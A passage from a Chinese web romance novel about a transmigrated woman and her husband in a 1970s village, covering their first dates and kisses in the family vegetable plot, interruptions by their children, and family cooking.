谢晚棠道:“立春比妞妞大不了多少,做身衣裳也用不了多少布,我上次去镇上买了一些土布回来,要不你过来看看,有喜欢的颜色就扯点给立春先做着。” 傅大嫂自然愿意,跟着谢晚棠过来的时候,看到傅青山已经刷好了碗,正往屋里端。 两人打了个招呼,傅大嫂跟着谢晚棠去炕间选布。 看到谢晚棠那一大摞各种颜色的土布,傅大嫂啧了声:“晚棠,我真羡慕你,把日子过得这么好。” 谢晚棠看出傅大嫂眼里的些许失落,拍拍她肩膀:“大嫂,你这么能干,大哥又是能吃苦的,日子肯定也会越来越好。” 傅大嫂郑重点头:“嗯!我也得好好*过!过出个样来!” 傅大嫂给立春挑了块鲜亮的红布料,回去把立春叫过来,谢晚棠把红布料在立春身上比了比,点头:“小姑娘穿红就是精神。” 谢晚棠给立春量了量尺,裁了料子下来。 立春看着那块崭新的红布,眼睛比天上的小星星还亮,谢晚棠笑着摸了摸小姑娘的头:“跟妞妞妹妹出去玩吧,等着二婶给你做漂亮衣裳!” 立春笑着朝她用力点头。 立春出去以后,谢晚棠直接道:“我给立春做吧,用缝纫机做的快。” 傅大嫂不是爱麻烦人的性格,不好意思,谢晚棠大手一挥道:“我做衣裳跟大嫂包包子一样麻利的,我们这叫互相帮助!” 听谢晚棠这么说,傅大嫂便没有再推辞,把布料钱给了谢晚棠,跟谢晚棠说周末去镇上不用急,包子她就给包了,晚上回来直接吃就行。 傅大嫂走后,谢晚棠去院里找傅青山,可惜孩子们都在院里玩,就连立春都在这,他们俩还是没有恋爱的空间啊。 有孩子的小情侣谈个小恋爱就这么难吗T-T 谢晚棠刚要叹气,就听傅青山道:“明早凉拌茄子吃吧。” 孩子们全部举手,表示要吃,上次没吃够。 谢晚棠疑惑地看向傅青山:“可家里没茄子啊。” 傅青山黑曜石一般的眸子看着她:“那咱俩去自留地摘。” 谢晚棠……?? 他俩去自留地摘茄子? 那她岂不是可以和傅青山有谈恋爱的小空间了?傅青山是这个意思吗? 第46章 亲一下? 两人视线对上,她感觉傅青山就是这个意思。 心有灵犀,正中她下怀的提议。 很聪明嘛! 没有条件,创造条件也要上,这才是大佬的风格。 谢晚棠勾唇浅笑:“好啊,多摘点,明早多做一点。” 摘得多一点,时间自然就可以久一点咯~ 她也是很聪明的哦。 谢晚棠内心为自己的爱情智慧大大地点赞! 结果傅青山还没说话,妞妞乖巧地举手道:“我去帮娘一起摘茄子!” 谢晚棠…… 二刚和小刚原本在打陀螺,闻声两人也顾不得打了,跑过来道:“我们也去帮忙!多摘点!吃不了茄盒就狠狠地吃拌茄子和酱茄子!” 立春刚才听二婶说要给她做漂亮衣裳,心里就欢喜得不行,看哥哥和妹妹都要去,她也跟着举手:“我也去帮二婶摘茄子。” 谢晚棠:“……” 有一群懂事的孩子很好,可在某些特殊情况下,也会成为一种甜甜的负担T_T 就比如现在。 正在谢晚棠面对孩子们热情的帮忙不知所措的时候,傅青山已经拿上篮子,神色如常地对孩子们道:“我和你们娘去就够了,你们在家帮着扫扫炕前、当门和天井吧。” 妞妞闻声乖巧点头:“好,那我扫炕前。” 立春:“我扫当门。” 二刚:“那我和小刚扫天井!” 小刚:“好!” 谢晚棠心里默默给傅青山竖起大拇指,不愧是比她大7岁的男人,姜还是老的辣啊! 面不改色,三言两语,就给四个小电灯泡安排得开开心心、明明白白。 两人终于单独出了大门,谢晚棠下意识长舒一口气,谈个恋爱是真不容易啊! 他们这快赶上地。下党出来接头了。 还没出胡同,傅青山的大手就顺手牵住了她的小手。 如她所愿~ 两人手牵手刚走出胡同,就碰到王寡妇带着两个儿子,坐在胡同头上乘凉。 虽然王寡妇平常嘴碎有点惹人烦,但刘秀香跟她说过,王寡妇其实人不坏,她男人是烈士,自己一个人带着俩儿子也不容易。 谢晚棠路过的时候跟她打招呼,王寡妇扇着大蒲扇啧啧艳羡:“新婚小夫妻就是恩爱啊。” 上街都敢牵手! 谢晚棠自然看到王寡妇的视线落在他们紧紧牵在一起的手上,犹豫了下,想把手抽出来。 或许她还是不该太开放,既然穿到70年代,还是该入乡随俗? 私下里怎么牵都好,人前还是要稍微注意一下影响才是。 不过这样的话,她和傅青山的二人空间又要被压榨掉大半QAQ 家里不行,出来有人的地方还不行,难道留给他们谈恋爱的地方就只有自留地了? 那约会的项目就是去自留地摘茄子、摘辣椒、摘扁豆、摘黄瓜、南瓜、冬瓜…… OMG!好有年代感的朴实约会! 她太难啦…… 手抽了一下没抽出来,反而被更大力地攥紧,谢晚棠回过神来,傅青山牵她手那架势,似乎要将她全部占有般。 刚才走神间,王寡妇母子三个已经被他们甩在身后有点远了,谢晚棠突然就不想抽手了。 入乡随俗,傅青山就是这个“乡”里土生土长的男人,既然他不在意,那是不是自己也可以理直气壮地随他的“俗”? 谢晚棠本就不是爱动的性子,平常没有事的时候,晚上吃完饭也不出门,她也不知道村里人是不是每天晚上吃完饭都要在胡同头聚堆乘凉。 反正她和傅青山往自留地走这一路,碰到了刘秀香、郭燕、玉秀、傅大娘、刘燕华、刘大水老婆……基本半个村的妇女都目送她和傅青山手牵手往自留地走。 一开始谢晚棠还觉得脸红不好意思,直到刘大水老婆和旁边的妇女小声议论他们不注意影响,被傅青山听见,一个眼刀甩过去,那些妇女老老实实闭嘴以后。 谢晚棠没忍住,噗嗤一声笑了。 她觉得在“乡”下,还是要随傅青山的“俗”啊,不在意别人的眼光和议论,自己内心强大坚定,才活得潇洒自在。 就像傅青山,不管村里怎么传他,他就过自己的日子,还过得比谁都好。 点蜡的年代,晚上没有路灯,没人来自留地干活。 借着月色,她提篮子,傅青山弯腰剪茄子,两人不一会儿就剪了满满一篮子。 当借口出来的活干完,两人面面相觑,都不想这么早回去,但也都没经验,不知道第一次出来约会该干什么。 半晌,傅青山提议:“坐会儿?” 谢晚棠点头:“嗯。” 说着傅青山就开始解扣子,谢晚棠咽了口唾沫,这这这,这么直接的吗?!上来就直接冲刺?不用先说说情话、抱一抱、接个小吻酝酿一下氛围什么的吗? 走神间,傅青山已经解完扣子,抬胳膊脱衬衣。 谢晚棠心里小鹿乱撞,因为没有经验,既期待,又有些紧张。 那她也要现在自己解吗?还是等傅青山给她解? 都说傅青山那里受了伤,看他这个着急难耐的样子,可能只是影响生育,但不影响享受过程? 傅青山脱了衬衣折了两折,垫在高起来的土岭上,扶着她坐下,然后他自己也挨着她坐在岭上。 空气安静半秒,谢晚棠皱眉:“你脱衣服是要给我垫着坐着?” 傅青山偏头,有些不解地看他:“不然呢?” 谢晚棠:“……” 谢晚棠使劲攥着自己的手指,努力微笑:“没事,我以为你热。” 啊啊啊啊!!! 谢晚棠感觉自己要裂开了! 她在想些什么乱七八糟的!!!! 谈恋爱当然要一步一步来啊,怎么可能一上来就直接那啥,而且第一次怎么可能野战?! 空气再次安静。 傅青山脱了衬衣,只穿了件背心,露出结实火热的臂膀。 谢晚棠脸热又尴尬,没话找话:“你冷吗?” 说完自己都无语了,刚说以为人家热,又问人家冷不冷! 傅青山擦了擦额头上刚刚弯着身子剪下边的茄子累出来的汗:“不冷。” 谢晚棠在傅青山这里一直是语言上的巨人,今天却彻底卡壳。 第一次出来约会,难道要练习静坐吗??? 不过傅青山不知不觉在语言方面进步神速,问道:“我叫你什么比较好?” 终于顺利开启话题,谢晚棠笑道:“棠棠,小棠都可以!” 她小名就叫棠棠,爸爸妈妈都这么叫她,不过姥姥姥爷,还有同学同事,都习惯叫她小棠。 傅青山点头:“好,棠棠。” 傅青山声音低沉浑厚,有种混响的低音炮感,叫棠棠的时候天然地带着网上说的那种爹系男友的宠溺感。 谢晚棠被叫得心情愉悦,像是被摸摸头的小狗狗一样开心。 她歪头想了想:“那我叫你什么呢?都恋爱了,也不能再直接叫傅青山吧,显得好生分的样子。” 而且恋人之间本来就该有个昵称的。 傅青山闻声皱眉:“恋爱?” 谢晚棠偏头看他:“对啊,我们现在不是在谈恋爱吗?” 说完皱眉一想,又觉得好像是不太对劲,他们都已经结婚了,那现在还能算谈恋爱吗? 傅青山沉默片刻:“嗯,算是,自由恋爱。” 谢晚棠突然想到小说里的那个专业名词:“我们这种叫,先婚后爱!” 傅青山看着她明亮的杏眸,她总是有那么多有趣的词,就像她这个人一样有趣。 傅青山笑了:“先结婚后恋爱?” “对!”谢晚棠给他的理解能力竖大拇指,接着惊讶道,“你刚刚笑了哎!” 说完偏头看到傅青山怔住,好像下一秒就要收起笑容,她赶紧补充道:“你笑起来真好看!” 说着说着就轻快地哼唱起来:“你笑起来真好看,像春天的花儿一样~” 傅青山:“……” 他一个大男人,像春天的花? 但谢晚棠似乎真的心情很好,身子一偏,靠在他肩头唱得更开心了:“把所有的烦恼所有的忧愁全部都吹散……” 下一秒,傅青山就推翻了刚才的自己。 只要能让她没有烦恼和忧愁,别说是春天的花,他一年四季当她的花都行。 谢晚棠唱着唱着突然坐正,偏头看他:“我叫你二哥好不好?” 傅青山闻声皱眉,二哥?傅青宁和老三也叫他二哥,还有那些表弟堂弟表妹堂妹也这么叫他,他觉得既然他和谢晚棠既然关系更加亲密,那称呼自然也该更加亲密才对。 就像别人都叫她晚棠,小谢,但只有自己会叫她棠棠。 “二哥?”谢晚棠试探着叫了一声。 月光浅浅,温柔落在她温柔娇俏的小脸上。 她音色发甜,带着特有的小尾音叫她二哥的时候,显得格外俏皮,还有点一点撒娇的味道。 同样的称呼,她跟别人叫的就是不一样。 傅青山被叫得心尖一颤,他用力攥了攥掌心:“嗯。” 谢晚棠开心:“你知道吗?我从小就特别羡慕别人有哥哥,现在我也有了!” 傅青山闻声皱眉:“你不是有哥哥吗?” 谢晚棠反应过来自己说漏嘴,她说的是她前世,穿书前,但穿书过来,原身是有哥哥的。 被傅青山疑惑的眸光打量,谢晚棠有些心虚,小脑瓜快速转动:“谢建国算什么哥哥!不是早出生几年,年长几岁就算哥哥的!” 虽然这是为了解释自己刚才的bug,但谢晚棠确实觉得,谢建国这种哥哥,还不如没有。 傅青山没怀疑,只是点了点头,毕竟谢建国那种人,他也看不上,所以也理解谢晚棠有些激动的反应。 两人又闲聊了会,一旦开启了话题,便有说不完的话,不像一开始那般尴尬。 但时间过得也很快,谢晚棠看看表,转眼就到了该回去睡觉的时候。 家里还有五个孩子,他们就算刚陷入热恋,也不能在外边逗留太久。 两人对视一眼。 傅青山:“回去吗?” 谢晚棠:“抱抱吗?” 谢晚棠:“……” 要命了!傅青山眼神那样青涩干净,显得她好色色啊!第一次出来约会就想着要抱人家! 谢晚棠尴尬得正想找个地缝钻下去,傅青山已经起身,朝她伸手,谢晚棠红着脸搭上傅青山的手掌,他稍一用力就把她拉了起来。 下一秒,谢晚棠落入了那熟悉的、结实的怀抱。 傅青山轻轻抱住她。 傅青山的衬衣还在地上,只穿了背心的胸膛火热,烫得谢晚棠脸更烫了。 恋爱真的会分泌什么神奇的激素吧,她居然会对另一个男人的身体如此着迷渴望,明明她以前阅男无数,应该都免疫了的。 傅青山下工回来热,已经拿毛巾用井水擦了上半身。靠在傅青山的胸口,他身上有一种浅浅的独属于他自己的味道,无法形容,但有点好闻。 月色下,傅青山咚咚有力的心跳声像是最好的蛊惑,让她不再满足于拥抱,渴望着更多。 她还抱着傅青山的腰,但身子微微离开一点,仰头去看傅青山。 傅青山向来清冷的眸子里难得也有了一丝沉迷在爱情里的迷茫神色,他们都是初恋,同样受荷尔蒙的刺激,体验感期待感自然是相通的。 傅青山的反应给了她足够的勇气去表白自己内心的渴望,谢晚棠扬起唇角看他许久:“亲一下?” 几乎同一时间,傅青山:“要回去?” 谢晚棠:“……” 啊啊啊啊啊啊啊!!!!! 傅青山为什么可以顶着一张充满情。欲的脸,说着这么青涩单纯禁欲的话!这样就显得她好像个老色比啊!!! 第47章 这是她的初吻。 傅青山闻声怔了下,那复杂变换的表情,似乎是没想到她会说出来这样的话。 谢晚棠尴尬得简直能在自留地里直接抠出来个三室一厅! 她心虚得垂下眼睫,连和傅青山对视都不好意思了! 要命了!!! 她原本觉得热恋中的小情侣亲亲热热很正常,而且又是好不容易单独出来一回,只是牵牵手聊聊天,好像就有些可惜? 但人家傅青山就一点都没往歪处想,如柳下惠一般坐怀不乱,反倒显得她不像个正人君子,一晚上都在觊觎傅青山的身体。 果然是平时不该看的爱情小说和爱情电影看多了吗?!才让她如此开放!!! 谢晚棠红着脸低声道:“那就……回去吧。” 她现在尴尬得只想赶紧回去! 傅青山却道:“好,亲一下。” 谢晚棠:嗯? 话落,傅青山右手轻轻抬起她的下巴,两人视线再次对上,谢晚棠还没来得及反应,傅青山微微弯腰,低头靠近,两人鼻尖都要碰上的时候,她最近距离闻到傅青山的味道,下意识闭上了眼睛。 虽然亲一下的勇猛提议是她提的,但真的要亲下来的时候,她却紧张地心脏砰砰砰狂跳。 下一秒,温柔柔软的唇吻上她的。 这是她的初吻。 傅青山看起来又冷又硬,但他的唇却意外的又热又软,表象与实质截然不同,只有她有机会体会。 他的吻温柔又小心,像是在品尝什么新奇的糖果,又像是怕碰碎什么珍贵的易碎品。 可越是这样,越勾起谢晚棠内心的涟漪,让她心痒难耐,渴望更多。 她微微仰头,主动把自己送上去,让傅青山可以吻得更舒服。 还嫌不够似的,她伸手环抱住傅青山劲瘦有力的腰。 傅青山只穿了件背心,弯腰的时候背心也跟着往上,她的手直接抱在傅青山了腰间烫手的皮肤上。 好奇男人的肌肉到底是个什么手感,谢晚棠试探性地捏了下,结实的肌肉瞬间绷得更紧。 像是触动了什么开关似的,傅青山突然伸手回报住他,手臂用力,把她牢牢地禁锢住,他们的身体紧紧地贴在一起,没有一丝多余的缝隙。 就连那温柔小心的吻都跟着失了控,时而轻轻咬磨,时而贪婪舔食,最后终于迫不及待地撬开她本就松动的牙关,尽情地索取,不放过每一个角落…… 谢晚棠腿发软,幸好被傅青山紧紧地抱着,她才不必担心身子滑落下去,可以尽情地享受这个逐渐加深的吻。 初秋的夜里,月色如水,倾泻而下。 热恋的他们,缠绵忘我,沉沦其中。 良久,直到谢晚棠因为不会换气,憋得小脸通红,两人才不舍地分开,呼吸都有些急促。 谢晚棠仰头看向夜幕下除了呼吸微乱,却依旧沉稳冷静的男人,再次确认:“二哥,我真的是你的初恋吗?” 她没接过吻,不知道接吻有什么技巧,但她感觉傅青山好像比她有经验的多,全程都是傅青山带节奏。 傅青山半晌才从刚才那个吻里回过神来,下意识点头。 谢晚棠皱眉:“你就没亲过别的女人?” 虽然是以后会成为大佬的男人,但也不能什么事都那么厉害吧,就连接吻的能力都是与生俱来的? 傅青山不知道谢晚棠为什么会突然纠结这个问题,他虽然订过亲,但和刘燕华只是见过一面,连牵手都没有过,更别提这么亲密的事。 傅青山摇头:“没有。” 说完犹嫌不够似的,又补充了一句:“只有你一个。” 眼神坦坦荡荡,语气没有丝毫犹豫,而且书里确实也没写过傅青山有什么白月光初恋,谢晚棠只能接受大佬什么能力都高人一等的事实。 她发自内心的佩服道:“那你第一次亲,还挺厉害的呢!”? 傅青山怔了一下,才反应过来谢晚棠刚才问她的用意。 “……” 原来谢晚棠是觉得他亲她太熟练,怀疑他跟别人亲过。 哪有人天生就会这个,他是没跟别人亲过,但无数个寂寥的深夜,他偷偷亲过谢晚棠很多次。 在谢晚棠仰慕的目光下,傅青山心虚地轻咳一声,少有的在谢晚棠面前回避话题:“回去吗?” 谢晚棠看看时间,9点半了,他们居然不知不觉亲了半个小时? 虽然还有些意犹未尽,但确实该回去了。 谢晚棠点头,傅青山拿起衬衣抖了抖土穿上,一手拿着装满茄子的篮子,一手牵着她往家走。 平时下工来摘菜的时候,觉得来自留地的路真远,可和傅青山一起走的时候,又觉得这路太近了,怎么不知不觉就走到家了。 二人世界结束,拥有五个孩子的热闹生活依然是日常主旋律。 他们到家的时候,孩子们正排排坐在天井里泡脚。 二刚看了眼爹手里拎的篮子:“爹,娘,你们怎么去了这么久?我平常摘茄子很快的呀!” 二刚说完,几个孩子都好奇地看过来。 谢晚棠:“……” OMG! 回来的时候有点晚,她还庆幸路上没什么人,大家基本都回家睡觉了,没想到回家还要接受孩子们的盘问。 她和傅青山又是聊天又是亲嘴的,磨蹭了接近有一个小时,就是把自留地里的茄子架都拆了,也用不了一个小时…… 学习傅青山的大心脏势在必行了,不待傅青山开口,谢晚棠面色镇定道:“路上碰到你玉秀姑姑,郭燕姨还有秀香姨,玩了会儿耽误了些工夫。” 小刚一听眼睛亮了:“娘,郭燕姨家的小虎子也在吗?” 谢晚棠去的路上跟傅青山牵着手,光顾着紧张了,哪里还能注意到郭燕身边跟没跟着小虎子啊,应该跟着吧,随口嗯了声。 小刚开心:“那明晚我也跟娘一起去,娘找郭燕姨玩,我找小虎子玩,我最喜欢小虎子了!” 妞妞也喜欢小虎子,也说要跟着去。 谢晚棠:“……” 最后一块恋爱的自留地也要给她断了吗??? 谢晚棠欲哭无泪,回头撅着嘴无奈地看向傅青山:“二哥……” 你看这事怎么办QAQ 谢晚棠委屈撒娇的小表情小语气精准地击在傅青山的心头,傅青山感觉自己对她越来越没有招架之力,她的一颦一笑,一喜一忧,都会牵动着他的心绪。 傅青山还没来得及开口,福尔摩斯·二刚又发现了华点:“二哥?” 谢晚棠:“……” 救命啊! 救救她!救救她! 谢晚棠感觉自己的脸比刚才在自留地里跟傅青山接吻的时候还烫,幸好晚上光线暗,不然她的脸肯定比熟透的西红柿还红! 二刚一边泡脚,一边好奇地打量她:“娘,你为什么叫爹二哥?” 谢晚棠破罐破摔:“不然呢,难道跟你一样叫他爹吗?” 二刚:“……” 傅青山:“……” 二刚感觉爹立马一记眼刀子朝他甩过来,他下意识擦了擦脸上并不存在的汗:“娘,我不是这个意思啊……我是说,姑姑三叔他们比爹小,叫爹二哥,可您是爹的媳妇……” 谢晚棠彻底破罐破摔胡搅蛮缠了:“我不比你爹小吗?” 二刚:“……” 娘确实比爹小,还小不少,都快小出一个他来了。 要这么说,那叫二哥确实没一点毛病…… 看二刚居然被她糊弄过去,谢晚棠长舒一口气,洗漱完上炕躺下,喜忧参半地过完了恋爱第一天。 喜的是他们进度喜人,忧的是明天能不能约会成还没个着落呢! 翌日。 早饭是煮玉米,蒜茄子和煎鸡蛋。 昨晚茄子摘的多,傅青山还让兰兰给傅大嫂那边送去一碗凉拌蒜茄子。 煎鸡蛋上少涂上一点点鲜咸的豆瓣酱,薄薄的涂匀一层,别提多香了! 再就着一口健康清香的玉米,这小日子,真是美滋滋呀! 吃过早餐,傅青山要去上班,走的时候跟谢晚棠道:“我留了几个大茄子,中午下班我去买点猪肉,晚上炸茄盒吃。” 谢晚棠还没来得及说话,孩子们就高兴得像过年了一样。 二刚兴奋得不行:“居然就要吃上共产主义茄盒了?!” 小刚和妞妞也跟着二刚学,欢呼吃共产主义茄盒。 谢晚棠:“……” 共产主义茄盒,好牛逼的菜名哦! 上工的时候碰到郭燕,郭燕意有所指地朝她眨眨眼,谢晚棠脸一下子就红了。 兰兰还在,郭燕怕带坏孩子,也怕谢晚棠尴尬,笑着揽过她肩膀,在她耳边压低声音笑:“哎呀,跟我还害羞什么呀,姐姐什么都懂,我家就一个小虎子还不方便呢,更何况你们家有五个。” 谢晚棠也不知道该怎么接,含糊地嗯了声。 “我就是没想到你们家老傅为了陪你开心,敢当街牵你的手!你别看她们凑一块议论你,其实都羡慕着呢!” “……他不是为了陪我开心才牵我手的,他是自己想。” 谢晚棠试探着小声解释了一句,不然显得她好像个祸国殃民的妖女似的。 没想到她一解释,郭燕更兴奋了:“看来老傅是真的很喜欢你啊!在别人面前冷得跟什么的,跟你在一起就牵手也愿意,逛街也愿意!” 郭燕说着说着越发好奇起来:“那他当初怎么跟你提的结婚呀?他那个娘花着他的钱开心着呢,才不会给他操心这些事,是他自己主动上门找你的?你当时是不是惊讶坏了哈哈哈” 谢晚棠:“……” 是有人主动找上门,也有人惊讶。 只不过主动找上门的是她,惊讶的是傅青山,而且当时他们之间也没有互相喜欢,就是觉得条件合适,可以一起搭伙过日子。 既然已经真的在一起了,那段合约关系的始终就没有必要再对别人提及,只有他们两个知道有过就可以了。 谢晚棠笑笑,含糊地嗯了声。 上午干活中间歇息的时候,傅大嫂过来找她,感谢她早晨让兰兰送过去的蒜茄子,说傅大哥大仓二仓和立春都爱吃。 谢晚棠压根不知道这事,她起得晚,起来洗漱完就吃饭了,估计是傅青山让兰兰去送的。 谢晚棠笑道:“大嫂,你也可以那么做试试,很简单。” 谢晚棠把做法跟傅大嫂说了说,傅大嫂常年做饭,一听就明白,就是有点惊讶:“弟妹,你也会做饭啊。” 说完又觉得不太合适,着急地解释了句:“弟妹,我嘴笨,没别的意思啊,我就是听立春说都是她二叔在家做饭,我以为你不会做饭呢。” 傅大嫂说的是事实,谢晚棠也不恼:“我是嘴上会做,真上手做就抓瞎了,不是摔碗摔盆,就是烫手烫胳膊,整个一个手忙脚乱。” 傅大嫂都能想象出来那个画面,笑道:“没事,好在她二叔什么都会,弟妹你这天生就是享福的命。” 玉秀闻声凑过来:“蒜茄子?很好吃吗大嫂?” 她娘在家天天炖茄子,她吃得眼都要绿了,只恨那茄子怎么能接那么长时间,快接完吧,就不用吃茄子了!!! 傅大嫂点头:“真好吃!说出来都怪不好意思,最后二仓把装蒜茄子的碗舔得比他那脸都干净。” 玉秀哇哦一声:“那中午回去也跟俺娘说说!” 老三媳妇看大嫂自从分家后就和谢晚棠走得近,心里不舒坦,撇撇嘴:“今天一盆菜包子,明天一碗蒜茄子的,也不是什么值钱东西,有什么意思。” 傅大嫂原本挺高兴的,被老三家的这么一扫兴,脸有点拉下去。 谢晚棠笑笑:“是啊,不如三弟妹分家第一天就舔着脸来我们家蹭鸡吃有意思。” 老三媳妇:“……” 周围还有别的妇女在乘凉歇息,闻声纷纷撇嘴,小声议论老三媳妇真是又懒又馋,怎么好意思分了家还舔着脸上门赖着蹭吃蹭喝,真是个馋老婆。 老三媳妇哪里还好意思呆下去,红着脸哼了一声,转身赶紧溜了。 谢晚棠拍拍大嫂肩膀:“不用管她,做好自己,问心无愧就好。” 玉秀也跟着安慰傅大嫂:“就是,大嫂,我看你分家以后,人都精神了!” 傅大嫂点头:“现在试着就算苦,日子也有盼头!” …… 中午傅青山下班照常来地里,把自行车给谢晚棠,让她和兰兰先回去做饭。 听到傅青山叫棠棠的时候,谢晚棠第一反应就是幸好他们家的福尔摩斯不在,不然没准又要来探究一番傅青山能不能叫她棠棠了…… 兰兰就话很少,从不让她尴尬,还是她的贴心小帮手,谢晚棠在兰兰身上体会到了什么叫女儿是娘的小棉袄。 傅青山买了有两斤猪肉,炸茄盒用不了这么多,谢晚棠打算中午焖个南瓜炒肉,又当菜又当饭,再炒个白菜虾皮鸡蛋配着,不至于太过腻人。 到家谢晚棠给兰兰烧火,兰兰先切了南瓜和猪肉炖上,然后又去切白菜,撒上虾皮,打上鸡蛋搅匀。 谢晚棠厨房里别的活不行,伙夫当得很不错,大锅火旺,等南瓜焖好了,兰兰刷了锅下油,倒入搅好的白菜虾皮鸡蛋一面一面地煎。 这边饭出锅,傅青山和大刚二刚也回来了,谢晚棠让妞妞拿进来小狗的饭盆,盛上一点焖到软烂的南瓜,一点白菜,让妞妞放放凉端过去给小黑吃。 这个年代狗粮狗罐头狗零食就不用想了,好在这个年代人吃的健康,口味不重,小狗跟着吃应该也没什么问题。 吃过午饭,傅青山刷碗的时候,谢晚棠在他旁边坐下,把郭燕今天问他俩怎么结婚的事跟傅青山说了。 谢晚棠凑到傅青山耳边,压低声音道:“我不想让燕姐知道咱俩刚开始是合约婚姻,就没解释太多。” 傅青山无所谓谁先主动,倒是谢晚棠呼出的温热气息喷在他耳根,让他一阵燥热,轻咳一声:“嗯,不用多说。” 一直到上炕躺下,距离更近,身上的燥热也更甚,奈何一炕的孩子,而且中午天是最亮的时候,他只敢握住谢晚棠的小手,再不敢越雷池一步。 越发期待晚饭后两人可以独处的时光。 下午下工回来,一家人一起做共产主义茄盒。 兰兰搅面糊,小刚把大茄子洗干净送进来,傅青山按照谢晚棠说的切成茄盒的一式两片,然后剁好肉馅和大葱沫拌一起加好调料搅匀。 谢晚棠往茄盒里包馅,二刚小刚和妞妞上次帮着包过馄饨,这次看她包了三个茄盒,跟馄饨一比,包茄盒简直小菜一碟嘛! 于是三个小帮工也加入,包茄盒的速度立马如上了高速一般。 大刚抱进草来引了火,傅青山倒进去半斤花生油,心疼得二刚一哆嗦,但为了共产主义大茄盒!就牺牲一次花生油吧! 傅青山把茄盒一个个裹上面糊放到油里炸,其实炸茄盒不难,主要是又热又容易被油溅出来烫到,炸的人有点遭罪。 纵使傅青山比她灵活很多,也被烫到好几次。 而且如果能冬天炸还好,可偏偏茄子是夏天的菜,她记得小时候没空调的时候,妈妈每次炸完茄盒后背都是汗,衣服热得都湿透了。 傅青山本就体热,炸到第五盘的时候,额头上全是汗珠子,的确良的衬衣又不透气,出了汗黏在身上,一看就难受。 但这位丈夫、父亲没有一丝厌烦抱怨的情绪,认认真真地站在锅台前,弯着腰给大锅里的茄盒适时翻面,颜色如她所形容的那般,刚好炸至金黄。 经过全家人的共同努力,天黑之前终于吃上了期待中的共产主义茄盒。 这个年代花生油缺,人们肚子里都缺油水,油滋滋喷香的茄盒几乎是从来没见过的好东西,一口咬下去,外酥里嫩,一嚼肉香和葱香味也跟着在嘴里化开,别提多好吃了。 很多年后,孩子们过年围坐在一起回忆往昔时,即使那时大鱼大肉都是平常事了,也忘不了当年大家一起做过的喷香的共产主义茄盒。 那是当时的他们对美好生活的向往,是现在在外面吃不到的家的味道。 吃过晚饭刷完碗,热恋的两人心有灵犀地对视一眼,傅青山道:“棠棠,去摘点黄瓜回来明早拌虾仁吃吧。” 谢晚棠配合演出:“好啊!” 二刚小刚和妞妞如昨晚说好的,要跟着一起出去,找郭燕家的小虎子玩。 大刚对小孩没兴趣,兰兰要在家做鞋也不去,最后热恋小情侣带着三个电灯泡出门。 不过好在孩子们比较单纯,对于爹娘牵手这事,并没有多余的想法,毕竟小刚作为哥哥,有时候出门都牵着妞妞的手。 把三个孩子送到郭燕那儿,小虎子果然在,郭燕自然明白,笑着招呼三个孩子留下玩,朝谢晚棠使眼色让她放心去! 郭燕不愧是宣传队长,思想比她还开放,谢晚棠红着脸道了谢,走出去一段才敢长舒一口气,终于可以和傅青山有二人世界了。 到自留地里摘好黄瓜,两人如*饥渴的旅人,早就心痒难耐,也不再像第一天那般拘束聊天,磨磨唧唧,时间不多,前菜略过,直接上硬菜! 谢晚棠一把抱住傅青山,在他怀里轻声撒娇:“好想你。” 傅青山深吸一口气,用力回抱住她,“我也是。” 话落,细碎的吻密密落下,不像昨天那般小心翼翼,攻城略地般,让她措手不及。 热烈的激吻仿佛要坚定地将她全部占有,直到她被吻得脑袋缺氧,放弃思考,连脑袋都放空了,傅青山才稍稍放过她酥酥麻麻的唇,放纵肆意地欺负她柔软的耳垂、娇嫩的脖颈。 这些从未被开发过的敏感位置被火热的舌尖滑过,不由得带起一丝颤栗,谢晚棠控制不住地哼唧了两声,微微闪躲,傅青山重新霸道地吻上她的唇。 他的舌灵巧地撬开她的齿缝,将这个霸道的吻加深,再加深。 月色浪漫,月色下的情人炙热缠绵。 她被他吻得晕乎乎,本能享受着这个吻,甚至尝试着青涩地回吻回去,异想天开地想要在这场深吻里势均力敌。 今天傅青山没脱外衣,衬衣还板板正正地扎在裤腰里,她只能隔着衣服抱着他,犹如隔靴搔痒,让人心痒难耐。 他的呼吸灼热,喷在她鼻尖,是黑夜里最诱人的撩拨,一把扯出他的衬衣,顺着衬衣下摆伸手进去,贪婪而着迷地抚摸着他坚实的肌肉、火热的皮肤,也激得他将她抱得更紧,吻得更深…… 这是一天当中两人难得放松独处的时刻,他们沉迷其中,不知道吻了多久,好像超越了时间。 直到熟悉的声音传来,惊醒了热吻中的小情侣小夫妻。 “爹?娘?你们在干嘛?”?! 不好! 是福尔摩斯·二刚的魔音!!! 第48章 二哥,你可以y?! 谢晚棠瞬间头皮发麻,搭在傅青山腰间的手下意识用力,想要抓住什么,却捏得傅青山闷哼一声,在寂静的夜里格外清晰。 一想到还有二刚在现场,她被傅青山叫得惊出一身汗,赶紧伸手去捂傅青山的嘴。 别出声啊哥! 听到脚步声由远及近,谢晚棠心脏咚咚咚狂跳,她都担心自己的心脏会从嘴里跳出来! 朝着脚步声的方向看过去,昏暗中,她甚至看不太清二刚在哪儿,只能通过脚下的声音和地面的震动大概判断,模模糊糊看到一个小黑影一蹦一跳跑过来。 所处的环境是一样的,她的视力很好,2.0的水平。所以,这是不是可以说明,二刚其实也不太清他们,顶多模模糊糊看到两个人影? 这个逻辑推理让谢晚棠有些长舒一口气,赶紧拿开捂住傅青山嘴的手,往后推开一点,和傅青山保持在一个在孩子面前合适的距离。 二刚腿脚灵活,灵活地蹦跶过来,“爹,娘,你们在干嘛?黄瓜摘好了吗?我可以帮忙!” 谢晚棠:“……摘好了。” 二刚好奇:“那怎么还不回去?” 谢晚棠:“……” 谢晚棠抿唇,后悔没提前想好理由,被问到大脑宕机。 傅青山:“你娘眯眼睛了,我给她吹吹。” 二刚闻声惊讶:“啊?娘你眼睛眯得厉害吗?地里这么黑?爹你能看见吹?” 谢晚棠:“……” 谢晚棠轻咳一声:“还行,好多了,回家吧。” 生怕二刚的福尔摩斯属性发现什么端倪,回去的路上,谢晚棠自己偷偷揉了揉眼睛,起码得揉得红一点,才像是眯过眼的样子。 走到郭燕家胡同的时候,郭燕先是惊讶地看向二刚:“二刚,你去哪儿了?!” 二刚嘿嘿一笑:“爹娘摘黄瓜一直不回来,我想去地里帮忙的。” 郭燕:“……” 说好了帮忙看着孩子的,结果还让孩子找到地里去,也不知道看没看到不该看的,郭燕尴尬得不行,把谢晚棠揽到一边压低声音道:“二刚看着了?” 谢晚棠摇头。 郭燕长舒一口气:“幸好天黑!” 